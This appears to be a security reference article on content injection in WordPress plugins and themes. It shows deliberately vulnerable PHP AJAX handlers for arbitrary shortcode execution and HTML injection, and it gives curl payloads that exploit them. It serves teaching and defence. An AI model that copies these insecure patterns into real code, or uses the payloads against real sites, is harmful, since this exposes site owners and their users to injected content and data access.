Skip to content

Content Injection

Introduction

This article covers cases of possible Content Injection on WordPress. This includes improper input handling inside of the plugin/theme which can be used to inject or manipulate untrusted content displayed to other users without proper sanitization or validation.

Arbitrary Shortcode Exection

One of the most common cases of content injection in WordPress - Arbitrary Shortcode Execution. It results due to the lack of user-input sanitization while rendering the dynamic shortcode. It can lead to access to sensitive data or modification of data with proper privilege if other shortcodes are available for abuse.

Below is an example of vulnerable code:

add_action('wp_ajax_load_shortcode_content', 'my_ajax_load_shortcode');
add_action('wp_ajax_nopriv_load_shortcode_content', 'my_ajax_load_shortcode');
function my_ajax_load_shortcode() {
$id = $_POST['id'];
$shortcode_output = do_shortcode('[my_custom_shortcode id="' . $id . '"]');
echo $shortcode_output;
wp_die();
}

In the above code, an attacker can input arbitrary $id value to close the original shortcode and execute arbitrary shortcode of their choice.

To exploit this, any unauthenticated user just needs to perform a POST request to the /wp-admin/admin-ajax.php endpoint specifying the needed parameter to trigger the my_ajax_load_shortcode function.

Terminal window
curl <WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=load_shortcode_content -d 'id=1"][arbitrary_shortcode=1]'

HTML Injection

HTML injection occurs due to improper handling of user-supplied data inside plugins/themes or admin settings, which allows untrusted HTML to be stored or reflected into pages.

Usage of functions like wp_kses_post() prevents XSS vulnerabilities by removing dangerous tags, but allows a list of safe tags to be injected. While this is an intended behavior for high-privileged users in the admin panel, allowing unauthenticated users to set arbitrary HTML content can be dangerous.

Below is an example of vulnerable code:

add_action('wp_ajax_render_html', render_html);
add_action('wp_ajax_nopriv_render_html', render_html);
function render_html()
{
echo "<p>". wp_kses_post($_REQUEST['test']). "</p>";
die();
}

To exploit this, any unauthenticated user just needs to perform a POST request to the /wp-admin/admin-ajax.php endpoint specifying the needed parameter to trigger the render_html function.

Terminal window
curl <WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=render_html&test=<h1>malicious</h1>

Contributors

dhakalananda